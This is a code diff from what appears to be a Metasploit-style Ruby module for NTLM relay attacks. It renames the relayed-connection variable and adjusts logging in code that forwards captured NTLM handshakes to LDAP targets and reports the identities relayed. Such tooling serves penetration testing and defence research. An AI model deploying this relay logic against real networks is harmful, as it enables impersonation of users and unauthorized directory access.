@@ -7,13 +7,13 @@ class ServerClient
77 attr_accessor :cli , :state , :redirect_uri
88
99 def initialize ( cli , relay_targets , logger , timeout = 25 )
10- @cli = cli
11- @state = :unauthenticated
12- @relay_targets = relay_targets
13- @logger = logger
14- @timeout = timeout
15- @ldap_client = nil
16- @current_target = nil
10+ @cli = cli
11+ @state = :unauthenticated
12+ @relay_targets = relay_targets
13+ @logger = logger
14+ @timeout = timeout
15+ @relayed_connection = nil
16+ @current_target = nil
1717
1818 @ntlm_context = {
1919 wrapper : :none ,
@@ -59,8 +59,8 @@ def process_request(req)
5959
6060 elsif parsed_ntlm && parsed_ntlm . is_a? ( Net ::NTLM ::Message ::Type1 )
6161 logger . print_warning ( "Client restarted the handshake! Resetting state to handle new Type 1..." )
62- @ldap_client . disconnect! if @ldap_client
63- @ldap_client = nil
62+ @relayed_connection . disconnect! if @relayed_connection
63+ @relayed_connection = nil
6464 handle_type1 ( raw_ntlm_bytes , parsed_ntlm , auth_type )
6565
6666 else
@@ -127,10 +127,10 @@ def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
127127 end
128128
129129 begin
130- logger . print_status ( "Attempting to relay to #{ @current_target . protocol } :// #{ @current_target . ip } : #{ @current_target . port } " )
131- @ldap_client = create_relay_client ( @current_target , @timeout )
130+ logger . print_status ( "Attempting to relay to #{ Rex :: Socket . to_authority ( @current_target . ip , @current_target . port ) } " )
131+ @relayed_connection = create_relay_client ( @current_target , @timeout )
132132
133- if @ldap_client . nil?
133+ if @relayed_connection . nil?
134134 logger . print_error ( "Connection to #{ @current_target . ip } failed: unable to create relay client" )
135135 advance_to_next_target_via_redirect
136136 return
@@ -144,7 +144,7 @@ def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
144144 incoming_security_buffer = parsed_ntlm . serialize
145145 end
146146
147- relay_result = @ldap_client . relay_ntlmssp_type1 ( incoming_security_buffer )
147+ relay_result = @relayed_connection . relay_ntlmssp_type1 ( incoming_security_buffer )
148148
149149 if relay_result && relay_result . nt_status == WindowsError ::NTStatus ::STATUS_MORE_PROCESSING_REQUIRED
150150 type2_msg = relay_result . message
@@ -206,13 +206,13 @@ def handle_type3(parsed_type3)
206206 incoming_security_buffer = parsed_type3 . serialize
207207 end
208208
209- relay_result = @ldap_client . relay_ntlmssp_type3 ( incoming_security_buffer )
209+ relay_result = @relayed_connection . relay_ntlmssp_type3 ( incoming_security_buffer )
210210
211211 if relay_result && relay_result . nt_status == WindowsError ::NTStatus ::STATUS_SUCCESS
212212 relay_succeeded = true
213213
214214 logger . on_ntlm_type3 (
215- address : @ldap_client . target . ip ,
215+ address : @relayed_connection . target . ip ,
216216 ntlm_type1 : @ntlm_context [ :type1 ] ,
217217 ntlm_type2 : @ntlm_context [ :type2 ] ,
218218 ntlm_type3 : parsed_type3 ,
@@ -221,18 +221,18 @@ def handle_type3(parsed_type3)
221221
222222 # Use the extracted identity here
223223 if identity . blank?
224- logger . print_status ( "Anonymous Identity - Successfully authenticated against relay target #{ @ldap_client . target . ip } " )
225- @ldap_client . disconnect! if @ldap_client
224+ logger . print_status ( "Anonymous Identity - Successfully authenticated against relay target #{ @relayed_connection . target . ip } " )
225+ @relayed_connection . disconnect! if @relayed_connection
226226 else
227227 logger . print_good ( "Identity: #{ identity } - Successfully relayed NTLM authentication to LDAP!" )
228- logger . on_relay_success ( relay_connection : @ldap_client , relay_identity : identity )
228+ logger . on_relay_success ( relay_connection : @relayed_connection , relay_identity : identity )
229229 end
230230
231- @ldap_client = nil
231+ @relayed_connection = nil
232232 else
233233 logger . print_error ( "Relayed authentication failed or was rejected by LDAP." )
234- @ldap_client . disconnect! if @ldap_client
235- @ldap_client = nil
234+ @relayed_connection . disconnect! if @relayed_connection
235+ @relayed_connection = nil
236236 end
237237
238238 # 2. Pass the identity down to the target list tracker
0 commit comments